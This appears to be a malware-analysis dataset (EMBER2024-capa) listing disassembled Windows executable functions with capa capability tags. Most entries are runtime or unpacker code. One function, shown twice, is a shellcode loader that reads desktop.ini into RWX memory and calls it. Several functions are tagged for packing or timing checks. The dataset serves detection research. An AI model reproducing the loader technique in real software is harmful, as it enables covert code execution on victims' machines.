joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b1a80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f000]
push edi
jmp 0x4b1a9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b1aa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1a90
mov eax, 1
add ebx, ebx
jne 0x4b1ab3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b1ac4
jne 0x4b1ae3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ae3
dec eax
add ebx, ebx
jne 0x4b1ad0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b1aa8
add ebx, ebx
jne 0x4b1adf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b1b35
xor ecx, ecx
sub eax, 3
jb 0x4b1afb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b1b6a
sar eax, 1
mov ebp, eax
jmp 0x4b1b06
add ebx, ebx
jne 0x4b1b06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ad4
inc ecx
add ebx, ebx
jne 0x4b1b14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ad4
add ebx, ebx
jne 0x4b1b21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b1b16
jne 0x4b1b32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b1b16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b1b54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b1b46
jmp 0x4b1a96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b1b54
add edi, ecx
jmp 0x4b1a96
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b1b72
cmp byte [edi], 0x11
jne 0x4b1b72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b1b77
lea edi, [esi + 0xad000]
mov eax, dword [edi]
or eax, eax
je 0x4b1bef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb2d14]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb2e68]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b1ba4
mov ecx, edi
jns 0x4b1bd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb2e6c]
or eax, eax
je 0x4b1be9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b1bc1
call dword [esi + 0xb2e7c]
mov ebp, dword [esi + 0xb2e70]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b1c23
sub esp, 0xffffff80
jmp 0x416310
Function at 0x40134b
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x403100
call fcn.00401c7c
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40138b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40138b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4013a3
cmp eax, 0x20b
je 0x401390
mov dword [ebp - 0x1c], ebx
jmp 0x4013b7
cmp dword [ecx + 0x84], 0xe
jbe 0x40138b
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x4013b1
cmp dword [ecx + 0x74], 0xe
jbe 0x40138b
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x4040dc], 0xffffffff
or dword [0x4040e0], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x404084]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x404080]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4040d8], eax
call fcn.00401bbc
call fcn.00401c65
cmp dword [0x404044], ebx
jne 0x401417
push 0x401c62
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00401c4a
push 0x40400c
push 0x404008
call sub.MSVCR71.dll__initterm
push 0x401c00
call fcn.00401baa
mov eax, dword [0x40407c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x404078]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x40146b
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x404004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4014e9
cmp al, bl
je 0x401495
cmp dword [ebp - 0x20], ebx
jne 0x4014e9
mov al, byte [esi]
cmp al, bl
je 0x4014a5
cmp al, 0x20
ja 0x4014a5
inc esi
mov dword [ebp - 0x24], esi
jmp 0x401495
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x4014c1
movzx eax, word [ebp - 0x54]
jmp 0x4014c4
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call section..text
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x4014e1
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x40153e
cmp al, 0x22
jne 0x4014f8
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x40150b
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x401483
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00401cb7
ret
Function at 0x414810
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x41002e
lea edi, [esi - 0xf02e]
push edi
or ebp, 0xffffffff
jmp 0x414832
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414839
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414828
mov eax, 1
add ebx, ebx
jne 0x41484b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414840
jne 0x41485c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414840
xor ecx, ecx
sub eax, 3
jb 0x414870
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4148e2
mov ebp, eax
add ebx, ebx
jne 0x41487b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414888
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4148ac
inc ecx
add ebx, ebx
jne 0x414898
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41488d
jne 0x4148a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41488d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4148cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4148bd
jmp 0x41482e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4148cc
add edi, ecx
jmp 0x41482e
pop esi
mov edi, esi
mov ecx, 0x30b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4148ea
cmp byte [edi], 0
jne 0x4148ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4148ef
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x41495e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x152cc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x15344]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41491c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15348]
or eax, eax
je 0x414958
mov dword [ebx], eax
add ebx, 4
jmp 0x414939
call dword [esi + 0x1534c]
popal
jmp section.UPX0
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x408c54
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00409114
mov byte [esp], al
cmp byte [esp], 0
jne 0x408ddd
test edi, edi
je 0x408ddd
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408d1d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408cf8
cmp edi, 0xffffffff
je 0x408cb9
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408cb9
mov byte [esp], 0
jmp 0x408ddd
cmp dword [esi], 1
jg 0x408cf8
cmp dword [esi], 0
jne 0x408cea
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408cea
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408ddd
lea eax, [esp + 0xc]
call fcn.004088ec
dec ebp
test ebp, ebp
jg 0x408c9e
cmp edi, 0xffffffff
je 0x408d1d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408d1b
mov byte [esp], 0
jmp 0x408ddd
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408c62
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408d1d
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408e58
mov edx, eax
mov ebx, dword [0x51c8fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408d81
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408d7f
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408d81
xor edi, edi
cmp byte [esp], 0
je 0x408da7
mov ebx, dword [esi]
test bl, 1
jne 0x408dbd
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408d87
mov byte [esp + 1], 1
jmp 0x408dbd
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408da7
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408d34
cmp byte [esp], 0
je 0x408ddd
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x409a6c
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x51eb9c
cmp dword [ebp + 0xc], 2
jl 0x409a80
mov ebx, 0x51ebcc
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x409ab8
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x405210
mov dword [0x51c01c], eax
mov eax, 0x405218
mov dword [0x51c020], eax
mov eax, ebx
call fcn.00409950
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x409aed
cmp al, 3
jge 0x409aed
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x409afe
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x409b09
call dword [ecx + eax*4]
cmp dword [0x51c040], 0
jne 0x409b1f
mov byte [0x51c048], 1
fnstcw word [0x512028]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.00409dcc
call fcn.00409a00
ret 4

Function at 0x409d34
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x51c058], 0
je 0x409d9b
cmp word [0x51c348], 0xd7b2
jne 0x409d5d
cmp dword [0x51c350], 0
jbe 0x409d5d
mov eax, 0x51c344
call dword [0x51c360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409dc8
call fcn.0040a91c
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x512032], 0
jne 0x409db7
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409f5c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x512034], 0
je 0x409f87
mov edx, edi
mov eax, esi
call dword [0x512034]
mov ebx, eax
jmp 0x409f98
mov eax, 8
call fcn.00406de8
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x51c059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409f24
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409fc8
mov eax, ebx
call fcn.00406e04
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40dc08
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40dd6f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040a09c
cmp si, word [0x512a08]
jb 0x40dca0
cmp si, word [0x512c08]
ja 0x40dca0
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40dca0
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x512a08]
jae 0x40dc7a
mov edi, ebx
dec edi
jmp 0x40dc9b
cmp si, word [ebx*8 + 0x512a08]
jbe 0x40dc8a
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40dc9b
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x512a0c]
call fcn.0040db28
jmp 0x40dca0
cmp edi, dword [ebp - 8]
jae 0x40dc64
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40dd4f
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40dd4f
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040ac1c
push dword [ebp - 0x160]
push 0x40dd8c
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040ac1c
push dword [ebp - 0x164]
push 0x40dd9c
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040ac1c
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040ae54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dd76
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.0040a0fc
pop eax
jmp eax
Function at 0x40df24
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e02a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x51ec14
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x51ec2c]
jne 0x40df70
mov eax, esi
mov edx, 0x51ec2e
mov ecx, 0x55
call fcn.0040ac1c
push 0x51ec14
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40e012
push 0x51ec14
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.0040a09c
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40dfdf
cmp byte [0x51ec10], 0
je 0x40dfa4
mov edx, esi
mov eax, ebx
call fcn.0040de08
jmp 0x40dfdf
mov edx, esi
mov eax, ebx
call fcn.0040dc08
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40dfdf
cmp dword [esi], 0
je 0x40dfc8
mov eax, esi
mov edx, 0x40e044
call fcn.0040ad74
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040dc08
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040ad74
push 0x51ec14
call sub.kernel32.dll_EnterCriticalSection
mov word [0x51ec2c], bx
mov eax, dword [esi]
call fcn.0040ab68
mov ecx, eax
mov eax, 0x51ec2e
mov edx, 0xaa
call fcn.0040da88
push 0x51ec14
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e031
lea eax, [ebp - 4]
call fcn.0040a09c
pop eax
jmp eax
Function at 0x40e26c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a190
xor eax, eax
push ebp
push 0x40e494
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40e2b2
push 0x105
lea eax, [ebp - 0x21e]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40e2cc
mov eax, dword [ebp - 4]
call fcn.0040ab68
mov ecx, eax
lea eax, [ebp - 0x21e]
mov edx, 0x105
call fcn.0040da88
cmp word [ebp - 0x21e], 0
je 0x40e477
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e4a4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40e39b
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e4a4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40e39b
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e4e0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40e39b
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e4e0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40e39b
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e514
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40e39b
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push 0x40e548
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40e477
xor eax, eax
push ebp
push 0x40e470
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
lea eax, [ebp - 0x21e]
call fcn.0040e06c
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push ebx
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40e3fe
mov eax, dword [ebp - 0x14]
call fcn.00406de8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
push ebx
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040abc8
jmp 0x40e449
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0x40e588
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40e449
mov eax, dword [ebp - 0x14]
call fcn.00406de8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
push 0x40e588
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040abc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e477
cmp dword [ebp - 0xc], 0
je 0x40e464
mov eax, dword [ebp - 0xc]
call fcn.00406e04
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e49b
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040a0fc
pop eax
jmp eax
Function at 0x40e7a4
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a190
xor eax, eax
push ebp
push 0x40e866
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040ac1c
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040adcc
mov eax, dword [ebx]
call fcn.0040e650
test al, al
jne 0x40e841
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040ac1c
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040adcc
mov eax, dword [ebx]
call fcn.0040e650
test al, al
jne 0x40e841
mov eax, ebx
call fcn.0040a09c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e86d
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040a0fc
lea eax, [ebp - 4]
call fcn.0040a09c
pop eax
jmp eax

Function at 0x4103c8
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret